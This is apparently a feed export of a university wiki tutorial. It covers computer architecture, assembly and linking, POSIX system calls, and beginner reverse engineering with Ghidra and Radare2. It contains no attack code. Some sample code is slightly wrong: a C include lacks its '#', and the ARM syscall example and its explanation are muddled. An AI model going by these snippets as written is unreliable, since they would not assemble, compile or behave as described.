* Virtualizing memory, allowing each program to be written as if it starts at address 0 without conflict in multitasking scenarios (this is achieved, for example, using specialized hardware like a Memory Management Unit, MMU)&lt;br /&gt;
* Managing hardware and providing hardware abstractions through drivers, eliminating the need for every programmer to understand the intricate details of hardware operation (e.g., configuring voltage levels manually for network card operations)&lt;br /&gt;
* Providing a user-friendly interface for users&lt;br /&gt;
&lt;br /&gt;
To utilize the functionalities of an operating system, various programming interfaces (APIs) were developed and standardized. These APIs offer similar functions (known as primitives). One prominent example is the Portable Operating System Interface (POSIX) standard (ISO/IEC/IEEE 9945), which has been largely implemented by operating systems like Linux.&lt;br /&gt;
&lt;br /&gt;
Examples of primitives offered by POSIX in a higher-level programming language like C include:&lt;br /&gt;
&lt;br /&gt;
 * int open(const char *path, int oflag, ...) for opening files&lt;br /&gt;
 * int close(int fildes) for closing files&lt;br /&gt;
 * pid_t fork(void) for creating a new process&lt;br /&gt;
 * void (*signal(int sig, void (*func)(int)))(int) for registering signal handler functions&lt;br /&gt;
 * ...&lt;br /&gt;
&lt;br /&gt;
At the hardware level, these primitives are implemented through system calls to the operating system. These system calls are highly dependent on the operating system and processor.&lt;br /&gt;
&lt;br /&gt;
For instance, the Linux kernel maintains a list of all system calls it provides, known as the System Call Table. Each system call is associated with a unique number and a kernel internal function that performs the actual tasks. To invoke a system call, for example on x86 machines, one loads the number of the desired call into the EAX register and then triggers a software interrupt 128 (hexadecimal: 0x80). The arguments for the system call are stored in CPU registers according to the FastCall calling convention.&lt;br /&gt;
&lt;br /&gt;
The software interrupt, also known as an exception, halts the execution of the program in user mode and triggers the execution of an exception handler in kernel mode. The kernel&#039;s exception handler reads the EAX register and, if it contains a valid system call number, invokes the corresponding kernel function from the System Call Table with the arguments stored in the other registers. After validating the arguments, the kernel performs the requested tasks. Upon completion of this function, the exception handler finishes its work, and normal program execution resumes.&lt;br /&gt;
&lt;br /&gt;
Example of using a POSIX system call under Linux:&lt;br /&gt;
&lt;br /&gt;
 .global _start&lt;br /&gt;
 _start:&lt;br /&gt;
    MOV R0, #1         @ Set R0 to define the data stream (STDOUT here). This data stream is typically connected to the console.&lt;br /&gt;
    LDR R1, =message   @ Load R1 with a pointer to the data to be written.&lt;br /&gt;
    LDR R2, =len       @ Load R2 with the length of the data to be written.&lt;br /&gt;
    MOV R7, #4         @ Set R7 to define the desired system call (here, write to STDOUT).&lt;br /&gt;
    SWI 0              @ Trigger software interrupt 0 (syscall).&lt;br /&gt;
    MOV R7, #1         @ Set R7 to define the exit system call.&lt;br /&gt;
    SWI 0              @ Trigger software interrupt 0 (syscall).&lt;br /&gt;
 .data&lt;br /&gt;
 message:&lt;br /&gt;
    .asciz &amp;quot;Hello World! \n&amp;quot;  @ Define the message to be printed.&lt;br /&gt;
 len = .-message              @ Calculate the length of the message.&lt;br /&gt;
&lt;br /&gt;
Explanation:&lt;br /&gt;
&lt;br /&gt;
 Register R0 is used to define the data stream (in this case, STDOUT), which is the default output connected to the console.&lt;br /&gt;
 Register R1 serves as a pointer to the data that will be written.&lt;br /&gt;
 Register R2 indicates the length of the data to be written.&lt;br /&gt;
 Register R7 is used to specify the desired system call (in this case, writing to STDOUT).&lt;br /&gt;
&lt;br /&gt;
Finally, the operating system must be instructed to terminate the program so that data processing does not continue indefinitely. This is achieved with software interrupt #1.&lt;br /&gt;
&lt;br /&gt;
== Reverse Engineering ==&lt;br /&gt;
&lt;br /&gt;
=== Description ===&lt;br /&gt;
&lt;br /&gt;
Reverse engineering is the process of analyzing a finished product or system to understand its design, structure, and functionality. This process is frequently applied in software development, as well as in hardware development and other engineering disciplines.&lt;br /&gt;
&lt;br /&gt;
=== Applications of Reverse Engineering ===&lt;br /&gt;
&lt;br /&gt;
Software Development:&lt;br /&gt;
&lt;br /&gt;
* Bug Fixing and Debugging&lt;br /&gt;
* Compatibility and Interoperability&lt;br /&gt;
* Security Analysis&lt;br /&gt;
* Detecting License Violations&lt;br /&gt;
&lt;br /&gt;
Hardware Development:&lt;br /&gt;
&lt;br /&gt;
* Product Analysis&lt;br /&gt;
* Repair and Maintenance&lt;br /&gt;
* Manufacturing Spare Parts&lt;br /&gt;
&lt;br /&gt;
=== Typical Steps in Reverse Engineering ===&lt;br /&gt;
&lt;br /&gt;
1. Collection and Gathering information about the target product&lt;br /&gt;
&lt;br /&gt;
2. Disassembly and Decompilation (converting binary code or machine code into a higher-level programming language or human-readable form)&lt;br /&gt;
&lt;br /&gt;
3. Analysis and Documentation of the individual components and their functionality&lt;br /&gt;
&lt;br /&gt;
4. Recovery and Reconstruction&lt;br /&gt;
&lt;br /&gt;
=== Legal Ethical Considerations ===&lt;br /&gt;
&lt;br /&gt;
Reverse engineering can raise legal and ethical questions, particularly concerning intellectual property. While it is legal in many cases, there are certain situations where it can lead to legal disputes:&lt;br /&gt;
&lt;br /&gt;
* Copyright: No rights of the holder&#039;s permission&lt;br /&gt;
* Patents: Patent infringments if reproduced products use patented technologies&lt;br /&gt;
* Terms of Use: Many software licenses explicitly prohibit reverse engineering&lt;br /&gt;
&lt;br /&gt;
=== Tools and Techniques ===&lt;br /&gt;
&lt;br /&gt;
There are 2 common tools which are free and open-source:&lt;br /&gt;
&lt;br /&gt;
 * Ghidra&lt;br /&gt;
 * Radare2&lt;br /&gt;
&lt;br /&gt;
== Ghidra ==&lt;br /&gt;
&lt;br /&gt;
=== Description ===&lt;br /&gt;
&lt;br /&gt;
Ghidra is an open-source software, created by the National Security Agency (NSA) and publicly released in 2019. It offers a powerful environment for reverse engineering and malware analysis. Ghidra supports a wide variety of processor architectures and file formats, making it a versatile tool for security researchers and developers.&lt;br /&gt;
&lt;br /&gt;
=== Installation ===&lt;br /&gt;
&lt;br /&gt;
Requirements:&lt;br /&gt;
 * Java Development Kit (JDK) 11 or higher&lt;br /&gt;
 * At least 4 GB of RAM (8GB or more recommended)&lt;br /&gt;
&lt;br /&gt;
Steps:&lt;br /&gt;
 * Download the latest version of Ghidra from the official website: https://ghidra-sre.org/&lt;br /&gt;
 * Unzip the downloaded archive to a directory of your choice&lt;br /&gt;
 * Ensure that the JDK is installed and the &#039;JAVA_HOME&#039; environment variable is set correctly&lt;br /&gt;
&lt;br /&gt;
Starting Ghidra:&lt;br /&gt;
&lt;br /&gt;
Navigate to the directory where you unzipped Ghidra and run the start script:&lt;br /&gt;
&lt;br /&gt;
 * Linux/macOS: ./ghidraRun&lt;br /&gt;
 * Windows: ./ghidraRun.bat&lt;br /&gt;
&lt;br /&gt;
=== Basic Features ===&lt;br /&gt;
&lt;br /&gt;
Creating a new project:&lt;br /&gt;
&lt;br /&gt;
 1. Start Ghidra and create a new project (&#039;File -&amp;gt; New Project&#039;)&lt;br /&gt;
 2. Choose a project type (usually Non-shared Project) and specify a location and name for the project&lt;br /&gt;
 3. Import the binary file you want to analyze (&#039;File -&amp;gt; Import File&#039;)&lt;br /&gt;
&lt;br /&gt;
Analyzing the Binary:&lt;br /&gt;
&lt;br /&gt;
 1. After importing the file, double-click on it in the explorer to open it&lt;br /&gt;
 2. Ghidra will automatically perform an initial analysis of the file. Confirm the suggested settings and start the analysis.&lt;br /&gt;
&lt;br /&gt;
Disassembly and Decompilation:&lt;br /&gt;
&lt;br /&gt;
 Disassembly: Shows the machine code of the binary file. This is useful for understanding the low-level execution of the file.&lt;br /&gt;
 Decompilation: Converts the machine code into a higher-level, human-readable form (similar to C code).&lt;br /&gt;
&lt;br /&gt;
=== Advanced Features ===&lt;br /&gt;
&lt;br /&gt;
* Scripting&lt;br /&gt;
&lt;br /&gt;
Ghidra supports scripting to automate complex analyses. You can write scripts in Java or Python (Jython).&lt;br /&gt;
&lt;br /&gt;
* Debugging&lt;br /&gt;
&lt;br /&gt;
Ghidra can be integrated with external debuggers to perform dynamic analysis. This allows you to set breakpoints and step through the code.&lt;br /&gt;
&lt;br /&gt;
Of course there are many other notable features, but these are beyond the scope of this documentation.&lt;br /&gt;
&lt;br /&gt;
== Radare2 ==&lt;br /&gt;
&lt;br /&gt;
=== Description ===&lt;br /&gt;
&lt;br /&gt;
Radare2 is a comprehensive framework for reverse engineering and binary analysis. It offers a wide range of features, from static and dynamic analysis to patching and debugging support. Due to its power and flexibility, radare2 is popular among security experts, malware analysts, and developers.&lt;br /&gt;
&lt;br /&gt;
=== Installation ===&lt;br /&gt;
&lt;br /&gt;
Radare2 can be installed on various operating systems (comes pre-installed on kali-linux). These are the steps for the most common platforms:&lt;br /&gt;
&lt;br /&gt;
* Linux&lt;br /&gt;
 git clone https://github.com/radareorg/radare2.git&lt;br /&gt;
 cd radare2&lt;br /&gt;
 sys/install.sh&lt;br /&gt;
&lt;br /&gt;
* macOS&lt;br /&gt;
 brew install radare2&lt;br /&gt;
&lt;br /&gt;
* Windows&lt;br /&gt;
 Download the installation package from the official website and follow the instructions.&lt;br /&gt;
&lt;br /&gt;
=== Basic Commands ===&lt;br /&gt;
&lt;br /&gt;
After installation, you can start radare2 by typing &#039;r2&#039; followd by the path to the binary you want to analyze:&lt;br /&gt;
&lt;br /&gt;
 r2 /path/to/binary&lt;br /&gt;
&lt;br /&gt;
Now typically you start by typing &#039;V&#039; to enter the hex-view, afterwards you have following options:&lt;br /&gt;
&lt;br /&gt;
* p - change view forwards&lt;br /&gt;
* P - change view backwards&lt;br /&gt;
* aaa - analyze the binary to be able to use further instructions&lt;br /&gt;
* s - search for a keyword&lt;br /&gt;
* afl - find all functions&lt;br /&gt;
* q - quit to start screen&lt;br /&gt;
* ? - help and information&lt;br /&gt;
* VV - opens a visual mode with a graphical representation&lt;br /&gt;
&lt;br /&gt;
=== Advanced Features ===&lt;br /&gt;
&lt;br /&gt;
* Scripting&lt;br /&gt;
With radare2, you can write scripts in various languages to perform complex analyses and automations.&lt;br /&gt;
&lt;br /&gt;
* Debugging&lt;br /&gt;
Radare2 also supports debugging binaries:&lt;br /&gt;
&lt;br /&gt;
 r2 -d /path/to/binary&lt;br /&gt;
&lt;br /&gt;
In debug mode, additional commands are available:&lt;br /&gt;
&lt;br /&gt;
* db - sets a breakpoint&lt;br /&gt;
* dc - continue execution&lt;br /&gt;
* dr - displays register contents&lt;br /&gt;
&lt;br /&gt;
Of course there are many other notable features, but these are beyond the scope of this documentation.&lt;br /&gt;
&lt;br /&gt;
== Training Code ==&lt;br /&gt;
&lt;br /&gt;
=== simpleMath.c ===&lt;br /&gt;
&lt;br /&gt;
 include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
 int add(int a, int b) {&lt;br /&gt;
    return a + b;&lt;br /&gt;
 }&lt;br /&gt;
 int subtract(int a, int b) {&lt;br /&gt;
    return a - b;&lt;br /&gt;
 }&lt;br /&gt;
 int multiply(int a, int b) {&lt;br /&gt;
    return a * b;&lt;br /&gt;
 }&lt;br /&gt;
 int main() {&lt;br /&gt;
    int x = 5;&lt;br /&gt;
    int y = 3;&lt;br /&gt;
    int sum = add(x, y);&lt;br /&gt;
    int diff = subtract(x, y);&lt;br /&gt;
    int prod = multiply(x, y);&lt;br /&gt;
    printf(&amp;quot;Sum: %d\n&amp;quot;, sum);&lt;br /&gt;
    printf(&amp;quot;Difference: %d\n&amp;quot;, diff);&lt;br /&gt;
    printf(&amp;quot;Product: %d\n&amp;quot;, prod);&lt;br /&gt;
    return 0;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Don&#039;t forget to compile the file first with gcc!&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://ghidra-sre.org/&lt;br /&gt;
* https://rada.re/n/radare2.html&lt;br /&gt;
* https://github.com/radareorg/radare2&lt;br /&gt;
* https://github.com/NationalSecurityAgency/ghidra&lt;br /&gt;
* https://beginners.re/RE4B-DE.pdf&lt;br /&gt;
* Hardwaregrundlagen: Friedrich Bauer - Vorlesung Digitale Systeme - Technische Universität Wien “F. Bauer - Digitale Systeme - Institut für Computertechnik WS 2016/17&amp;quot;&lt;br /&gt;
* Carl Hamacher, Zvonko Vranesic, Safwat Zaky, Naraig Manjikian - Computer Organization and Embedded System (SIXTH EDITION) (McGRAW HILL INTERNATIONAL EDITION)&lt;br /&gt;
* Horst Schirmeier - Vorlesung Betriebssysteme - Technische Universität Dortmund SS 2020 https://www.youtube.com/watch?v=DX1wmistewI&amp;amp;list=PLOlqF42t6O1vcrGTDEagGE5PrVrO0ovqf&lt;br /&gt;
* https://www.linux-magazin.de/ausgaben/2004/08/kern-technik/&lt;br /&gt;
* https://articles.manugarg.com/systemcallinlinux2_6.html&lt;br /&gt;
* https://pubs.opengroup.org/onlinepubs/9699919799.2018edition/&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>CNinaus</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:Radare2.png&amp;diff=14738</id>
		<title>File:Radare2.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:Radare2.png&amp;diff=14738"/>
		<updated>2024-06-21T14:48:56Z</updated>

		<summary type="html">&lt;p&gt;CNinaus: radare2&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary ==&lt;br /&gt;
radare2&lt;/div&gt;</summary>
		<author><name>CNinaus</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:GHIDRA.png&amp;diff=14737</id>
		<title>File:GHIDRA.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:GHIDRA.png&amp;diff=14737"/>
		<updated>2024-06-21T14:48:42Z</updated>

		<summary type="html">&lt;p&gt;CNinaus: Ghidra&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary ==&lt;br /&gt;
Ghidra&lt;/div&gt;</summary>
		<author><name>CNinaus</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:Image4.png&amp;diff=14736</id>
		<title>File:Image4.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:Image4.png&amp;diff=14736"/>
		<updated>2024-06-21T14:46:09Z</updated>

		<summary type="html">&lt;p&gt;CNinaus: CNinaus uploaded a new version of File:Image4.png&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary ==&lt;br /&gt;
Stack&lt;/div&gt;</summary>
		<author><name>CNinaus</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:Image3.png&amp;diff=14735</id>
		<title>File:Image3.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:Image3.png&amp;diff=14735"/>
		<updated>2024-06-21T14:45:14Z</updated>

		<summary type="html">&lt;p&gt;CNinaus: CNinaus uploaded a new version of File:Image3.png&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary ==&lt;br /&gt;
Processor&lt;/div&gt;</summary>
		<author><name>CNinaus</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:Image2.png&amp;diff=14734</id>
		<title>File:Image2.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:Image2.png&amp;diff=14734"/>
		<updated>2024-06-21T14:44:57Z</updated>

		<summary type="html">&lt;p&gt;CNinaus: CNinaus uploaded a new version of File:Image2.png&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary ==&lt;br /&gt;
Von Neumann concept&lt;/div&gt;</summary>
		<author><name>CNinaus</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:Image.png&amp;diff=14733</id>
		<title>File:Image.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:Image.png&amp;diff=14733"/>
		<updated>2024-06-21T14:44:36Z</updated>

		<summary type="html">&lt;p&gt;CNinaus: CNinaus uploaded a new version of File:Image.png&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary ==&lt;br /&gt;
Harvard concept&lt;/div&gt;</summary>
		<author><name>CNinaus</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Reverse_Engineering:_Ghidra_and_Radare2&amp;diff=14732</id>
		<title>Reverse Engineering: Ghidra and Radare2</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Reverse_Engineering:_Ghidra_and_Radare2&amp;diff=14732"/>
		<updated>2024-06-21T14:41:18Z</updated>

		<summary type="html">&lt;p&gt;CNinaus: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This documentation serves as a short and quick tutorial for reverse engineering. It is split in two parts:&lt;br /&gt;
&lt;br /&gt;
 1) Computer and operating systems basics (foundations to understand reverse engineering)&lt;br /&gt;
&lt;br /&gt;
 2) Reverse Engineering with 2 common tools (Ghidra and Radare2)&lt;br /&gt;
&lt;br /&gt;
Feel free to skip the first parts if you are already familiar with these concepts.&lt;br /&gt;
&lt;br /&gt;
== Computer architecture ==&lt;br /&gt;
&lt;br /&gt;
There are a variety of computer architectures, the most prominent of which include both the Harvard and von Neumann concepts.&lt;br /&gt;
&lt;br /&gt;
=== Harvard Concept ===&lt;br /&gt;
&lt;br /&gt;
The Harvard concept is widespread in various fields, particularly where high efficiency and speed in data processing are required. The Harvard architecture refers to a concept where instructions and data are stored in separate memories. The processor (CPU) has a separate bus for the instruction memory and the data memory. To communicate with the outside world, such as users or other computers, input and output units (input and output devices) are required. Possible input devices include keyboard, mouse, microphone, or network devices, and possible output devices include display, speaker, or network devices.[[File:Image.png]]&lt;br /&gt;
&lt;br /&gt;
=== Von Neumann Concept ===&lt;br /&gt;
&lt;br /&gt;
Most of today&#039;s commercial computers for private users are based on the von Neumann concept. A key aspect of the von Neumann architecture is storing data and programs in the same memory. The processor is connected to the memory and the I/O units through the same bus system, allowing it to access the stored instructions and associated data in the memory as well as I/O data. To communicate with the outside world, such as users or other computers, input and output units (input and output devices) are also required. Possible input devices include keyboard, mouse, microphone, or network devices, and possible output devices include display, speaker, or network devices.&lt;br /&gt;
&lt;br /&gt;
The following chapters will exclusively focus on the von Neumann concept, even though there are similarities between the concepts mentioned above.&lt;br /&gt;
&lt;br /&gt;
=== The Processor ===&lt;br /&gt;
&lt;br /&gt;
The processor (CPU) is the central component of every computer and essentially consists of the following components:&lt;br /&gt;
&lt;br /&gt;
* Arithmetic and Logic Unit (ALU): Performs arithmetic and logical operations.&lt;br /&gt;
* Working or Arithmetic Registers: Stores operands and results temporarily during operations.&lt;br /&gt;
* Control Unit: Manages internal components of the processor such as ALU, registers, bus systems, and other resources.&lt;br /&gt;
&lt;br /&gt;
Each processor has its own instruction set, dependent on the processor type or architecture. The instruction set comprises a set of commands. Each command is associated with a bit pattern known as the instruction code, machine code, or opcode. Commands stored in memory are executed sequentially. The sequence of commands in memory is referred to as a program. Depending on the commands in the program, the processor performs various operations. When designing a computer architecture, the functionality of the computer is defined in part by the processor&#039;s instruction set.&lt;br /&gt;
&lt;br /&gt;
The processor includes an internal bus system and interfaces with external address, data, and control buses (the control bus is not depicted here for simplicity).&lt;br /&gt;
&lt;br /&gt;
The address bus is used to communicate with devices such as memory cells, input/output devices, etc., for interaction purposes.&lt;br /&gt;
The data bus is used to exchange data with addressed devices.&lt;br /&gt;
The control bus has diverse functionalities, such as controlling the direction of data exchange on the data bus.&lt;br /&gt;
&lt;br /&gt;
The highly simplified and schematically represented processor in Figure 3 features a working register A, used, for example, to store interim results. All arithmetic and logical commands are executed by the Arithmetic Logic Unit (ALU), where in this case, the working register A must always contain one of the operands. For operations involving two operands, the second operand is loaded from memory by specifying its address through the intermediate register ZR. The result of the operation is then written back into working register A, replacing its previous content. Depending on the result of an operation, the ALU sets individual bits in the status register (Flag Register F). These bits, known as flags, indicate the outcome of the executed operation. Examples of flags in the status register include the Zero Flag, Carry Flag, and Overflow Flag. The state of these flags in the status register can be checked and used, for instance, for conditional jump commands to execute conditional branching in the program.&lt;br /&gt;
&lt;br /&gt;
The control unit houses all the logic necessary for executing commands and controlling the resources accordingly.&lt;br /&gt;
&lt;br /&gt;
=== Command Execution ===&lt;br /&gt;
&lt;br /&gt;
Essentially, the following cyclic scheme outlines the execution of an instruction:&lt;br /&gt;
&lt;br /&gt;
* FETCH (Fetch instruction from memory)&lt;br /&gt;
* EXECUTE (Execute instruction)&lt;br /&gt;
&lt;br /&gt;
During the Fetch phase, the instruction located at the address stored in the program counter is loaded into the instruction register. Subsequently, the program counter is incremented by one. If an instruction spans multiple words, the control unit repeats this process until the entire instruction is loaded.&lt;br /&gt;
&lt;br /&gt;
During the Execute phase, the instruction is executed. For example, an address is issued through an intermediate register, an operand is fetched from that address, it is added to the second operand already stored in working register A, the result is then stored back into working register A, and corresponding flags are set in the flag register.&lt;br /&gt;
&lt;br /&gt;
Branch instructions allow for interruption or alteration of the sequential program flow. In the case of a branch instruction, the program flow continues at any other point defined by the branch instruction.&lt;br /&gt;
&lt;br /&gt;
The processor presented in this section is a highly simplified model. Commercial processors typically feature a multitude of working registers, registers with specialized functions, and data pathways beyond those outlined here for address and data buses.&lt;br /&gt;
&lt;br /&gt;
=== Memory ===&lt;br /&gt;
&lt;br /&gt;
The memory can essentially be envisioned as a one-dimensional array of field elements with a fixed bit width, where each field element can be accessed by a unique address.&lt;br /&gt;
&lt;br /&gt;
== Hardware programming ==&lt;br /&gt;
&lt;br /&gt;
=== Machine Commands ===&lt;br /&gt;
&lt;br /&gt;
Typically, a machine instruction consists of an opcode followed by an address portion. An opcode is a unique bit pattern interpreted by the control unit, prompting it to execute all necessary steps for that particular instruction. The address portion, on the other hand, is used to address one or more operands. Machine instructions can vary in length, which can either complicate and slow down the control unit or be fixed in length to mitigate the aforementioned drawbacks.&lt;br /&gt;
&lt;br /&gt;
=== Addressing Types ===&lt;br /&gt;
&lt;br /&gt;
Register addressing:&lt;br /&gt;
&lt;br /&gt;
In register addressing, only registers are referenced.&lt;br /&gt;
&lt;br /&gt;
 MOV R1, R2  ; Copy the value from register R2 to register R1&lt;br /&gt;
&lt;br /&gt;
Immediate addressing:&lt;br /&gt;
&lt;br /&gt;
In immediate addressing, the operand itself is specified in the address part of the machine instruction.&lt;br /&gt;
&lt;br /&gt;
 MOV R0, #5  ; Load the immediate value 5 into register R0&lt;br /&gt;
&lt;br /&gt;
Absolute addressing:&lt;br /&gt;
&lt;br /&gt;
Absolute addressing specifies the memory address of the operand in the address part of the machine instruction.&lt;br /&gt;
&lt;br /&gt;
 MOV EAX, [0x1234]  ; Loads the value from memory address 0x1234 into register EAX&lt;br /&gt;
&lt;br /&gt;
Relative addressing:&lt;br /&gt;
&lt;br /&gt;
Relative addressing specifies the desired address as an offset relative to a base address. The base address is typically stored in a defined register, and the offset is provided in the machine instruction. The Program Counter (PC) contents are often used as the base address.&lt;br /&gt;
&lt;br /&gt;
 LDR R0, [PC, #4]  ; Load the value from address (PC + 4) into register R0&lt;br /&gt;
&lt;br /&gt;
Indexed Addressing:&lt;br /&gt;
&lt;br /&gt;
Indexed addressing is similar to relative addressing. It also calculates an offset from a base address. However, in indexed addressing, the address is provided in the instruction, and the offset is fetched from a special register called the index register.&lt;br /&gt;
&lt;br /&gt;
 LDR R0, [R1, #4]  ; Load the value from memory address (R1 + 4) into R0&lt;br /&gt;
&lt;br /&gt;
Indirect Addressing (Pointer):&lt;br /&gt;
&lt;br /&gt;
In indirect addressing, the actual address resides in a memory location. This means that the address of the memory location containing the desired address is specified.&lt;br /&gt;
&lt;br /&gt;
 LDR R0, [R1]  ; Load the value from the memory address stored in R1 into R0&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Note:&lt;br /&gt;
The examples provided here are presented in assembler code for readability and understanding, and should be interpreted as pseudocode until the introduction of assembler language.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Subprograms ===&lt;br /&gt;
&lt;br /&gt;
To save memory, frequently executed program segments are stored in memory only once. These commonly executed program segments, also known as functions, can be accessed using specific jump instructions. Depending on the instruction, either the jump address is immediately loaded into the Program Counter (PC) and execution jumps to that address, or the current Program Counter contents are stored first, followed by loading the jump address into the PC. This allows the program flow to resume at the point where the function was called after exiting the function.&lt;br /&gt;
&lt;br /&gt;
In ARMv7, for example, you can jump to a subroutine (function) using the following two commands:&lt;br /&gt;
&lt;br /&gt;
 BAL target_label         ; Branch Always: Jump immediately to the address specified by &amp;quot;target_label&amp;quot;&lt;br /&gt;
 BL function_label        ; Branch with Link: The current PC contents, which hold the address of the next instruction, are stored in the Link Register (LR). Then, jump to the address specified by &amp;quot;function_label&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
A function called as a subroutine can be exited using a specific return instruction.&lt;br /&gt;
&lt;br /&gt;
In ARMv7, after completing a subroutine, you can return to the calling function using the following commands:&lt;br /&gt;
&lt;br /&gt;
 BX LR                     ; &amp;quot;Branch and Exchange&amp;quot;: The processor jumps to the address stored in the specified register (LR).&lt;br /&gt;
 MOV PC, LR                ; Move the contents of the Link Register (LR) into the Program Counter (PC).&lt;br /&gt;
&lt;br /&gt;
These instructions allow for efficient management of program flow, returning execution to the point where the subroutine was called. To store the Program Counter and other data (such as register contents), the stack can be utilized. The stack is a simple last-in, first-out (LIFO) managed memory structure. This method of management facilitates handling of nested subroutine calls. Typically, the stack is located in main memory, and the processor maintains the memory address of the most recently stored item in a dedicated register known as the Stack Pointer (SP).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Note:&lt;br /&gt;
The examples provided here have been presented in assembler code for readability and understanding. At this point, they should be interpreted as pseudocode, pending the introduction of assembler language.&lt;br /&gt;
&lt;br /&gt;
== Higher-level programming languages ​​and abstraction concepts ==&lt;br /&gt;
&lt;br /&gt;
The two main problems of hardware programming described so far are that machine instruction bit patterns are difficult to remember, and programs in machine code are hard to relocate due to their absolute addresses.&lt;br /&gt;
&lt;br /&gt;
=== Assembler ===&lt;br /&gt;
&lt;br /&gt;
The solution to the issues of poor memorability and readability of machine code involves introducing an abstraction where machine instructions are associated with words and symbols used in programming instead of directly using the machine instruction bit patterns in source code files. Now, programs can be written in text files using these words and symbols, known as assembly language, rather than machine instruction bit patterns. These text files are processed by a translation program called an assembler, which converts them back into machine instruction bit patterns, transforming the word- and symbol-based program into executable code. Text files containing assembly code are commonly referred to as assembly source files and are typically saved with the extension &amp;quot;.s&amp;quot;. Files containing the output translated by the assembler are called object files and are usually saved with the extension &amp;quot;.o&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Here&#039;s an example of an assembly program that adds two registers:&lt;br /&gt;
&lt;br /&gt;
 .global _start&lt;br /&gt;
 _start:&lt;br /&gt;
          movl 	$0, %esi&lt;br /&gt;
          movl   $3, %eax&lt;br /&gt;
          add	%eax, %esi&lt;br /&gt;
&lt;br /&gt;
An assembler program can be translated into machine code on Linux using the following command:&lt;br /&gt;
&lt;br /&gt;
 as test.s -o test.o&lt;br /&gt;
&lt;br /&gt;
Please note, this creates an unlinked program object in machine code!&lt;br /&gt;
&lt;br /&gt;
To display machine code as assembler code, i.e., to disassemble it under Linux, you can use the following command:&lt;br /&gt;
&lt;br /&gt;
 objdump -d test.o&lt;br /&gt;
&lt;br /&gt;
=== Linker ===&lt;br /&gt;
&lt;br /&gt;
The solution to the problem of difficulty in relocation involves introducing symbolic addresses, which act as &amp;quot;variables&amp;quot; called &amp;quot;labels&amp;quot; and are definitively set by the linker. These symbolic addresses are prefixed with zeros by the assembler, and relocation information tables are created to instruct the linker to insert the addresses of these labels at the respective locations.&lt;br /&gt;
&lt;br /&gt;
From now on, programs can be divided into components and developed independently. Files containing the output bound by the linker are executable files known as binaries. They receive an extension dependent on the operating system (e.g., &amp;quot;.exe&amp;quot; in Windows).&lt;br /&gt;
&lt;br /&gt;
Unlinked object files can be linked into a binary under Linux using the following command:&lt;br /&gt;
&lt;br /&gt;
 ld test.o -o test&lt;br /&gt;
&lt;br /&gt;
This command links the object file &amp;quot;test.o&amp;quot; into an executable binary named &amp;quot;test&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
=== Compiler ===&lt;br /&gt;
&lt;br /&gt;
Writing program logic in assembler is unfortunately still somewhat cumbersome. Firstly, machine instructions expressed in words or symbols, despite commonalities across different processors, remain heavily dependent on the specific processor architecture. Secondly, human thought constructs can be complex and may be implemented differently or with difficulty in various processor assemblers. This situation has led to another level of abstraction: the development of higher-level programming languages. These languages provide means to express logical constructs in ways that are more easily understandable to humans and can be formulated universally across different processor instruction sets. From this point onward, primitives can be formulated in these higher-level languages, which are then translated into the specific assembler instruction set of a processor by a program called a compiler.&lt;br /&gt;
&lt;br /&gt;
=== Compilation Process Example ===&lt;br /&gt;
&lt;br /&gt;
Here is a highly simplified example illustrating the respective representations of a sample program:&lt;br /&gt;
&lt;br /&gt;
* Example.c:&lt;br /&gt;
&lt;br /&gt;
 int main() {&lt;br /&gt;
    exit(0);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Compilation process:&lt;br /&gt;
&lt;br /&gt;
Command to invoke only the GCC compiler under Linux:&lt;br /&gt;
&lt;br /&gt;
 gcc -S Example.c&lt;br /&gt;
&lt;br /&gt;
* Example.s:&lt;br /&gt;
&lt;br /&gt;
 main:&lt;br /&gt;
    pushl   %ebp&lt;br /&gt;
    movl    %esp, %ebp&lt;br /&gt;
    pushl   $0&lt;br /&gt;
    call    exit&lt;br /&gt;
    addl    $4, %esp&lt;br /&gt;
    popl    %ebp&lt;br /&gt;
    ret&lt;br /&gt;
&lt;br /&gt;
Assembly Process:&lt;br /&gt;
&lt;br /&gt;
